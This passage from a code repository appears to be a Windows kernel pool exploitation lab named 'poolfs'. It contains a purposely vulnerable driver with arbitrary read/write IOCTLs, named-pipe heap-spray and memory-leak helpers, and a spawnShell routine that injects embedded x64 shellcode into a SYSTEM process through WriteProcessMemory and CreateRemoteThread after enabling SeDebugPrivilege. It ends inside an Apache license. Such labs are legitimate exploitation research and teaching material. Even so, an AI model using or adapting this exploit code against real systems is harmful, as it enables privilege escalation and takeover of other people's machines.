210 | Status = CommandSpray((ioctl_spray_t *)Irp->AssociatedIrp.SystemBuffer, (uintptr_t *)Irp->AssociatedIrp.SystemBuffer, &OutputBytes); 211 | break; 212 | 213 | case IOCTL_UNSPRAY: 214 | Status = CommandUnspray(*((size_t *)Irp->AssociatedIrp.SystemBuffer)); 215 | break; 216 | 217 | case IOCTL_READ: 218 | Status = CommandArbitraryRead(((ioctl_arb_primitive_t *)Irp->AssociatedIrp.SystemBuffer), (char *)Irp->AssociatedIrp.SystemBuffer, &OutputBytes); 219 | break; 220 | 221 | case IOCTL_WRITE: 222 | Status = CommandArbitraryWrite(((ioctl_arb_primitive_t *)Irp->AssociatedIrp.SystemBuffer), (size_t *)Irp->AssociatedIrp.SystemBuffer); 223 | OutputBytes = 8; 224 | break; 225 | case IOCTL_BP: 226 | DbgBreakPoint(); 227 | break; 228 | 229 | default: 230 | Status = STATUS_NOT_SUPPORTED; 231 | break; 232 | } 233 | } 234 | 235 | Irp->IoStatus.Status = Status; 236 | Irp->IoStatus.Information = OutputBytes; 237 | 238 | // Complete the request 239 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 240 | 241 | return Status; 242 | } 243 | 244 | NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { 245 | Irp->IoStatus.Information = 0; 246 | Irp->IoStatus.Status = STATUS_SUCCESS; 247 | 248 | UNREFERENCED_PARAMETER(DeviceObject); 249 | 250 | // Complete the request 251 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 252 | 253 | return STATUS_SUCCESS; 254 | } 255 | 256 | NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { 257 | Irp->IoStatus.Information = 0; 258 | Irp->IoStatus.Status = STATUS_NOT_SUPPORTED; 259 | 260 | UNREFERENCED_PARAMETER(DeviceObject); 261 | 262 | // Complete the request 263 | IoCompleteRequest(Irp, IO_NO_INCREMENT); 264 | 265 | return STATUS_NOT_SUPPORTED; 266 | } 267 | 268 | VOID DriverUnload(IN PDRIVER_OBJECT DriverObject) { 269 | UNICODE_STRING DosDeviceName = { 0 }; 270 | 271 | PAGED_CODE(); 272 | 273 | RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\vulnerable_driver"); 274 | 275 | // Delete the symbolic link 276 | IoDeleteSymbolicLink(&DosDeviceName); 277 | 278 | // Delete the device 279 | IoDeleteDevice(DriverObject->DeviceObject); 280 | } 281 | -------------------------------------------------------------------------------- /poolfs/poolfs/src/pipe_utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "Ioctl.h" 8 | 9 | #include "pipe_utils.h" 10 | #include "exploit.h" 11 | #include "utils.h" 12 | 13 | NTSTATUS 14 | NTAPI 15 | NtFsControlFile( 16 | _In_ HANDLE FileHandle, 17 | _In_opt_ HANDLE Event, 18 | _In_opt_ PIO_APC_ROUTINE ApcRoutine, 19 | _In_opt_ PVOID ApcContext, 20 | _Out_ PIO_STATUS_BLOCK IoStatusBlock, 21 | _In_ ULONG FsControlCode, 22 | _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, 23 | _In_ ULONG InputBufferLength, 24 | _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, 25 | _In_ ULONG OutputBufferLength 26 | ); 27 | 28 | int prepare_pipe(size_t bufsize, pipe_pair_t * pipe_pair) 29 | { 30 | BOOL res = FALSE; 31 | 32 | // Write the data in user space buffer 33 | 34 | // Creating the pipe to kernel space 35 | res = CreatePipe( 36 | &pipe_pair->read, 37 | &pipe_pair->write, 38 | NULL, 39 | bufsize); 40 | 41 | if (res == FALSE) 42 | { 43 | printf("[!] Failed creating Pipe\r\n"); 44 | return 0; 45 | } 46 | return 1; 47 | } 48 | 49 | 50 | pipe_spray_t * prepare_pipes(size_t nb, size_t size, char * data, spray_type_t type) 51 | { 52 | pipe_spray_t * pipe_spray = malloc(sizeof(pipe_spray_t) + (nb * sizeof(pipe_pair_t))); 53 | char * data_buf = malloc(size + 1); 54 | size_t pipe_size; 55 | 56 | memcpy(data_buf, data, size); 57 | data_buf[size] = 0; 58 | 59 | pipe_spray->data_buf = data_buf; 60 | pipe_spray->nb = nb; 61 | pipe_spray->type = type; 62 | 63 | if (type == SPRAY_PIPE_QUEUE_ENTRY) 64 | { 65 | pipe_spray->bufsize = size - 0x40; 66 | pipe_size = pipe_spray->bufsize; 67 | } 68 | else if (type == SPRAY_PIPE_ATTRIBUTE) 69 | { 70 | pipe_spray->bufsize = size - 0x38; 71 | /* Should be big enough to avoid write lock */ 72 | pipe_size = 0x10000; 73 | } 74 | else 75 | { 76 | fprintf(stderr, "[-] Unknown spray type %d !\n", type); 77 | exit(0); 78 | } 79 | 80 | if (!pipe_spray) 81 | { 82 | fprintf(stderr, "[-] Failed to alloc pipe spray !\n"); 83 | exit(0); 84 | } 85 | for (size_t i = 0; i < pipe_spray->nb; i++) 86 | { 87 | if (!prepare_pipe(pipe_size, &pipe_spray->pipes[i])) 88 | { 89 | fprintf(stderr, "[-] Failed to alloc one pipe !\n"); 90 | exit(0); 91 | } 92 | } 93 | return pipe_spray; 94 | } 95 | 96 | int spray_pipes(pipe_spray_t * pipe_spray) 97 | { 98 | spray_type_t type = pipe_spray->type; 99 | 100 | for (size_t i = 0; i < pipe_spray->nb; i++) 101 | { 102 | if (type == SPRAY_PIPE_QUEUE_ENTRY) 103 | { 104 | if (!write_pipe(&pipe_spray->pipes[i], pipe_spray->data_buf, pipe_spray->bufsize)) 105 | { 106 | fprintf(stderr, "[-] Failed to write in pipe at index %d !\n", i); 107 | return 0; 108 | } 109 | } 110 | else if (type == SPRAY_PIPE_ATTRIBUTE) 111 | { 112 | if (!set_pipe_attribute(&pipe_spray->pipes[i], pipe_spray->data_buf, pipe_spray->bufsize)) 113 | { 114 | fprintf(stderr, "[-] Failed to set pipe attribute at index %d !\n", i); 115 | return 0; 116 | } 117 | } 118 | else 119 | { 120 | fprintf(stderr, "[-] Unknown spray type %d !\n", type); 121 | return 0; 122 | } 123 | } 124 | return 1; 125 | } 126 | 127 | int write_pipe(pipe_pair_t * pipe_pair, char * data, size_t bufsize) 128 | { 129 | BOOL res = FALSE; 130 | DWORD resultLength = 0; 131 | 132 | res = WriteFile( 133 | pipe_pair->write, 134 | data, 135 | bufsize, 136 | &resultLength, 137 | NULL); 138 | 139 | if (res == FALSE) 140 | { 141 | printf("[-] Failed writing to pipe with error %d !\n", GetLastError()); 142 | return 0; 143 | } 144 | return 1; 145 | } 146 | 147 | int read_pipe(pipe_pair_t * pipe_pair, char * out, size_t bufsize) 148 | { 149 | BOOL res = FALSE; 150 | DWORD resultLength = 0; 151 | 152 | res = ReadFile( 153 | pipe_pair->read, 154 | out, 155 | bufsize, 156 | &resultLength, 157 | NULL); 158 | 159 | if (res == FALSE) 160 | { 161 | printf("[-] Failed reading from Pipe\r\n"); 162 | return 0; 163 | } 164 | return 1; 165 | } 166 | 167 | 168 | /** 169 | * Create a pipe attribute on target_pipe. 170 | * The allocation will be of size (size + 0x30) 171 | * 172 | **/ 173 | int set_pipe_attribute(pipe_pair_t *target_pipe, char * data, size_t size) 174 | { 175 | IO_STATUS_BLOCK status; 176 | char output[0x100]; 177 | 178 | memset(output, 0x42, 0xff); 179 | 180 | NtFsControlFile(target_pipe->write, 181 | NULL, 182 | NULL, 183 | NULL, 184 | &status, 185 | 0x11003C, //0x11002C for arg of set attribute is 2 186 | data, 187 | size, 188 | output, 189 | sizeof(output) 190 | ); 191 | return 1; 192 | } 193 | 194 | /** 195 | * Create a pipe attribute on target_pipe. 196 | * The allocation will be of size (size + 0x30) 197 | * 198 | **/ 199 | int get_pipe_attribute(pipe_pair_t *target_pipe, char * out, size_t size) 200 | { 201 | IO_STATUS_BLOCK status; 202 | NTSTATUS st; 203 | char input[ATTRIBUTE_NAME_LEN] = ATTRIBUTE_NAME; 204 | 205 | st = NtFsControlFile(target_pipe->write, 206 | NULL, 207 | NULL, 208 | NULL, 209 | &status, 210 | 0x110038, 211 | input, 212 | ATTRIBUTE_NAME_LEN, 213 | out, 214 | size 215 | ); 216 | 217 | if (!NT_SUCCESS(st)) { 218 | fprintf(stderr, "[-]NtFsControlFile failed !"); 219 | return 0; 220 | } 221 | 222 | return 1; 223 | } 224 | 225 | 226 | int read_pipes(pipe_spray_t * pipe_spray, char * leak) 227 | { 228 | char buf[0x10000] = {0}; 229 | spray_type_t type = pipe_spray->type; 230 | 231 | 232 | for (size_t i = 0; i < pipe_spray->nb; i++) 233 | { 234 | if (type == SPRAY_PIPE_QUEUE_ENTRY) 235 | { 236 | // Dont read everything so the entry is not deleted ? 237 | size_t read_size = LEN_OF_PIPE_QUEUE_ENTRY_STRUCT + POOL_HEADER_SIZE; 238 | 239 | if (!read_pipe(&pipe_spray->pipes[i], buf, read_size)) 240 | { 241 | fprintf(stderr, "[-] Failed to alloc one pipe !"); 242 | exit(0); 243 | } 244 | if (memcmp((char *)pipe_spray->data_buf, buf, read_size)) 245 | { 246 | printf("[+] read_pipe -> One of the buf returned a different input !\n"); 247 | memcpy(leak, buf, read_size); 248 | return i; 249 | } 250 | } 251 | else if (type == SPRAY_PIPE_ATTRIBUTE) 252 | { 253 | if (!get_pipe_attribute(&pipe_spray->pipes[i], buf, pipe_spray->bufsize)) 254 | { 255 | fprintf(stderr, "[-] Failed to get pipe attribute !"); 256 | exit(0); 257 | } 258 | if (memcmp(pipe_spray->data_buf + ATTRIBUTE_NAME_LEN, buf, pipe_spray->bufsize - (ATTRIBUTE_NAME_LEN))) 259 | { 260 | //hexdump(pipe_spray->data_buf, pipe_spray->bufsize); 261 | printf("[+] get_pipe_attribute -> One of the buf returned a different input !\n"); 262 | //hexdump(buf, pipe_spray->bufsize); 263 | memcpy(leak, buf, pipe_spray->bufsize - (ATTRIBUTE_NAME_LEN)); 264 | return i; 265 | } 266 | } 267 | else 268 | { 269 | fprintf(stderr, "[-] Unknown spray type %d !\n", type); 270 | exit(0); 271 | } 272 | } 273 | return -1; 274 | } 275 | 276 | int close_pipe(pipe_pair_t * pipe_pair) 277 | { 278 | if (!CloseHandle(pipe_pair->write)) 279 | { 280 | fprintf(stderr, "[-] Failed to close write pipe !\n"); 281 | return 0; 282 | } 283 | if (!CloseHandle(pipe_pair->read)) 284 | { 285 | fprintf(stderr, "[-] Failed to close read pipe !\n"); 286 | return 0; 287 | } 288 | return 1; 289 | } 290 | 291 | 292 | void free_pipes(pipe_spray_t * pipe_spray) 293 | { 294 | for (size_t i = 0; i < pipe_spray->nb; i++) 295 | { 296 | close_pipe(&pipe_spray->pipes[i]); 297 | } 298 | free(pipe_spray->data_buf); 299 | free(pipe_spray); 300 | } 301 | 302 | void free_third_pipes(pipe_spray_t *pipe_spray, int start) 303 | { 304 | for (size_t i = start; i < pipe_spray->nb; i += 3) 305 | { 306 | close_pipe(&pipe_spray->pipes[i]); 307 | } 308 | } 309 | -------------------------------------------------------------------------------- /poolfs/poolfs/poolfs.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {cba40c02-5384-4b60-9242-14b6b62cf375} 25 | poolfs 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | Static 48 | 49 | 50 | Application 51 | false 52 | v142 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | true 76 | 77 | 78 | false 79 | 80 | 81 | true 82 | 83 | 84 | false 85 | 86 | 87 | 88 | Level3 89 | true 90 | WIN32;_DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 91 | true 92 | $(ProjectDir)includes 93 | 94 | 95 | Console 96 | true 97 | ntdll.lib;%(AdditionalDependencies) 98 | 99 | 100 | 101 | 102 | Level3 103 | true 104 | true 105 | true 106 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 107 | true 108 | 109 | 110 | Console 111 | true 112 | true 113 | true 114 | 115 | 116 | 117 | 118 | Level3 119 | true 120 | _DEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 121 | true 122 | $(ProjectDir)includes 123 | 124 | 125 | Console 126 | true 127 | ntdll.lib;advapi32.lib;Psapi.lib;Winhttp.lib;Shlwapi.lib;%(AdditionalDependencies) 128 | 129 | 130 | 131 | 132 | Level3 133 | true 134 | true 135 | true 136 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 137 | true 138 | 139 | 140 | Console 141 | true 142 | true 143 | true 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | -------------------------------------------------------------------------------- /poolfs/poolfs/src/utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | 7 | #ifndef HEXDUMP_COLS 8 | #define HEXDUMP_COLS 16 9 | #endif 10 | 11 | 12 | 13 | 14 | static void getByteString(UINT32 startaddr, UINT8* bytesbuf, size_t bytesread) 15 | { 16 | wchar_t debugStr[FILENAME_MAX]; 17 | char bytestr[65]; 18 | char charstr[20]; 19 | 20 | if (bytesread < 1) { 21 | return; 22 | } 23 | 24 | if (bytesread > 16) { 25 | return; 26 | } 27 | unsigned int i; 28 | 29 | char* bytestr_tmp = bytestr; 30 | unsigned char c; 31 | for (i = 0; i < bytesread; i++) { 32 | c = *(bytesbuf + i); 33 | _snprintf(bytestr_tmp, 4, "%02x ", c); 34 | bytestr_tmp += 3; 35 | } 36 | if (bytesread < 16) 37 | { 38 | for (int i = bytesread; i < 16; i++) { 39 | *bytestr_tmp = 0x20; 40 | bytestr_tmp += 1; 41 | *bytestr_tmp = 0x20; 42 | bytestr_tmp += 1; 43 | *bytestr_tmp = 0x20; 44 | bytestr_tmp += 1; 45 | } 46 | *bytestr_tmp = '\0'; 47 | } 48 | char* charstr_tmp = charstr; 49 | for (i = 0; i < bytesread; i++) { 50 | c = *(bytesbuf + i); 51 | if ((c < 127) && (c > 31) && (c != 92) && 52 | (c != 34)) // exclude '\'=92 and "=34 for JSON comp. 53 | { 54 | _snprintf(charstr_tmp++, 2, "%c", c); 55 | } 56 | 57 | else { 58 | _snprintf(charstr_tmp++, 2, "."); 59 | } 60 | } 61 | 62 | wsprintf(debugStr, L"%08x %S %S\n", startaddr, bytestr, charstr); 63 | OutputDebugString(debugStr); 64 | return; 65 | } 66 | 67 | 68 | 69 | static void hexdump(UINT8* bytesbufRef, size_t size_len) 70 | { 71 | 72 | for (int i = 0; i <= size_len / 16; i++) { 73 | 74 | 75 | getByteString((i * 16), 76 | bytesbufRef + (i * 16), 77 | (i * 16) + 16 > size_len ? size_len % 16 78 | : 16); 79 | 80 | } 81 | } 82 | /* 83 | void hexdump(void *mem, unsigned int len) 84 | { 85 | unsigned int i, j; 86 | 87 | for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) 88 | { 89 | /* print offset #1# 90 | if(i % HEXDUMP_COLS == 0) 91 | { 92 | printf("0x%06x: ", i); 93 | } 94 | 95 | /* print hex data #1# 96 | if(i < len) 97 | { 98 | printf("%02x ", 0xFF & ((char*)mem)[i]); 99 | } 100 | else /* end of block, just aligning for ASCII dump #1# 101 | { 102 | printf(" "); 103 | } 104 | 105 | /* print ASCII dump #1# 106 | if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) 107 | { 108 | for(j = i - (HEXDUMP_COLS - 1); j <= i; j++) 109 | { 110 | if(j >= len) /* end of block, not really printing #1# 111 | { 112 | putchar(' '); 113 | } 114 | else if(isprint(((char*)mem)[j])) /* printable char #1# 115 | { 116 | putchar(0xFF & ((char*)mem)[j]); 117 | } 118 | else /* other char #1# 119 | { 120 | putchar('.'); 121 | } 122 | } 123 | putchar('\n'); 124 | } 125 | } 126 | } 127 | */ 128 | 129 | 130 | 131 | DWORD GetPrivilege ( void ) { 132 | DWORD dwLen; 133 | BOOL bRes; 134 | HANDLE hToken; 135 | 136 | if ( ! OpenProcessToken ( 137 | GetCurrentProcess (), 138 | TOKEN_QUERY, 139 | & hToken)) 140 | { 141 | fprintf (stderr, "[-] OpenProcessToken error:% u \n" , GetLastError ()); 142 | return FALSE; 143 | } 144 | 145 | bRes = GetTokenInformation ( 146 | hToken, 147 | TokenPrivileges, 148 | NULL , 149 | 0 , 150 | & dwLen 151 | ); 152 | 153 | char* pBuffer=(char*)malloc(dwLen); 154 | 155 | bRes = GetTokenInformation ( 156 | hToken, 157 | TokenPrivileges, 158 | pBuffer, 159 | dwLen, 160 | & dwLen 161 | ); 162 | 163 | if ( ! bRes) 164 | { 165 | CloseHandle (hToken); 166 | return FALSE; 167 | } 168 | 169 | TOKEN_PRIVILEGES * pPrivs = (TOKEN_PRIVILEGES * ) pBuffer; 170 | for (DWORD i = 0 ; i < pPrivs->PrivilegeCount; i++) 171 | { 172 | printf ( "LUID:% u% u, Attributes:% u \n" , 173 | pPrivs->Privileges[i].Luid.HighPart, 174 | pPrivs->Privileges[i].Luid.LowPart, 175 | pPrivs->Privileges[i].Attributes); 176 | } 177 | 178 | CloseHandle (hToken); 179 | 180 | if ( ! bRes) return FALSE; 181 | 182 | return TRUE; 183 | } 184 | 185 | 186 | BOOL checkPrivilege() 187 | { 188 | PRIVILEGE_SET privSet; 189 | LUID_AND_ATTRIBUTES Privileges[1]; 190 | BOOL isPrivilegeSet = FALSE; 191 | HANDLE currentProcessHandle; 192 | HANDLE hTokenHandle; 193 | 194 | currentProcessHandle = GetCurrentProcess(); 195 | 196 | OpenProcessToken(currentProcessHandle, TOKEN_ALL_ACCESS, &hTokenHandle); 197 | 198 | if (hTokenHandle == INVALID_HANDLE_VALUE) 199 | { 200 | printf("Failed to retrieve process token handle \n"); 201 | return -1; 202 | } 203 | 204 | LookupPrivilegeValue(NULL, (const char *)"SeDebugPrivilege", &(Privileges[0].Luid)); 205 | Privileges[0].Attributes = 0; 206 | 207 | privSet.PrivilegeCount = 1; 208 | privSet.Control = PRIVILEGE_SET_ALL_NECESSARY; 209 | memcpy(privSet.Privilege, Privileges, sizeof(Privileges)); 210 | 211 | PrivilegeCheck(hTokenHandle, &privSet, &isPrivilegeSet); 212 | 213 | while (!isPrivilegeSet) 214 | { 215 | TOKEN_PRIVILEGES tp; 216 | tp.PrivilegeCount = 1; 217 | printf("Trying to set LUID %d\n", Privileges[0].Luid); 218 | tp.Privileges[0].Luid = Privileges[0].Luid; 219 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 220 | if ( !AdjustTokenPrivileges( 221 | hTokenHandle, 222 | FALSE, 223 | &tp, 224 | sizeof(TOKEN_PRIVILEGES), 225 | (PTOKEN_PRIVILEGES) NULL, 226 | (PDWORD) NULL) ) 227 | { 228 | printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); 229 | isPrivilegeSet = FALSE; 230 | GetPrivilege(); 231 | return FALSE; 232 | } 233 | else 234 | { 235 | if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) 236 | { 237 | printf("The token does not have the specified privilege. \n"); 238 | } 239 | privSet.PrivilegeCount = 1; 240 | privSet.Control = PRIVILEGE_SET_ALL_NECESSARY; 241 | memcpy(privSet.Privilege, Privileges, sizeof(Privileges)); 242 | PrivilegeCheck(hTokenHandle, &privSet, &isPrivilegeSet); 243 | GetPrivilege(); 244 | if (isPrivilegeSet) 245 | return TRUE; 246 | puts("Failed to get SeDebugPrivilege ! retrying..."); 247 | getchar(); 248 | } 249 | } 250 | 251 | return (isPrivilegeSet); 252 | } 253 | 254 | 255 | DWORD getProcessId(const char *processname) 256 | { 257 | HANDLE hProcessSnap; 258 | PROCESSENTRY32 pe32; 259 | DWORD result = 0; 260 | 261 | // Take a snapshot of all processes in the system. 262 | hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 263 | if (INVALID_HANDLE_VALUE == hProcessSnap) return(FALSE); 264 | 265 | pe32.dwSize = sizeof(PROCESSENTRY32); // <----- IMPORTANT 266 | 267 | // Retrieve information about the first process, 268 | // and exit if unsuccessful 269 | if (!Process32First(hProcessSnap, &pe32)) 270 | { 271 | CloseHandle(hProcessSnap); // clean the snapshot object 272 | printf("!!! Failed to gather information on system processes! \n"); 273 | return 0; 274 | } 275 | 276 | do 277 | { 278 | printf("Checking process %s that have PID %d!\n", pe32.szExeFile, pe32.th32ProcessID); 279 | if (0 == strcmp(processname, pe32.szExeFile)) 280 | { 281 | result = pe32.th32ProcessID; 282 | break; 283 | } 284 | } while (Process32Next(hProcessSnap, &pe32)); 285 | 286 | CloseHandle(hProcessSnap); 287 | 288 | return result; 289 | } 290 | 291 | 292 | void spawnShell(size_t processID) 293 | { 294 | HANDLE hSystemProcess = INVALID_HANDLE_VALUE; 295 | PVOID pLibRemote; 296 | // DWORD processID; 297 | unsigned char shellcode[] = 298 | "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" 299 | "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" 300 | "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" 301 | "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" 302 | "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" 303 | "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" 304 | "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" 305 | "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" 306 | "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" 307 | "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" 308 | "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" 309 | "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" 310 | "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" 311 | "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" 312 | "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" 313 | "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" 314 | "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" 315 | "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" 316 | "\x00"; 317 | 318 | 319 | 320 | hSystemProcess = OpenProcess(GENERIC_ALL, 0, processID); 321 | 322 | if (hSystemProcess == INVALID_HANDLE_VALUE || hSystemProcess == (HANDLE)0) 323 | { 324 | printf("[-] Couldn't open system process...\n"); 325 | exit(1); 326 | } 327 | printf("[+]Got a handle on a system Process: %08p\n", hSystemProcess); 328 | 329 | 330 | pLibRemote = VirtualAllocEx(hSystemProcess, NULL, sizeof(shellcode) * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 331 | 332 | if (!pLibRemote) 333 | { 334 | printf("[-]Virtual alloc failed !\n"); 335 | exit(0); 336 | } 337 | 338 | printf("[+]Allocation in system process succeded with address %08p\n", pLibRemote); 339 | 340 | if (!WriteProcessMemory(hSystemProcess, pLibRemote, shellcode, sizeof(shellcode), NULL)) 341 | { 342 | printf("[-]WriteProcessMemory failed !\n"); 343 | exit(1); 344 | } 345 | 346 | HANDLE hThread = CreateRemoteThread(hSystemProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLibRemote, NULL, 0, NULL); 347 | 348 | printf("[+]Writing in system process succeded\n"); 349 | 350 | if (hThread == NULL) { 351 | printf("[-]CreateRemoteThread failed !\n"); 352 | exit(1); 353 | } 354 | else 355 | printf("[+]Remote thread created !\n"); 356 | CloseHandle(hSystemProcess); 357 | } 358 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your 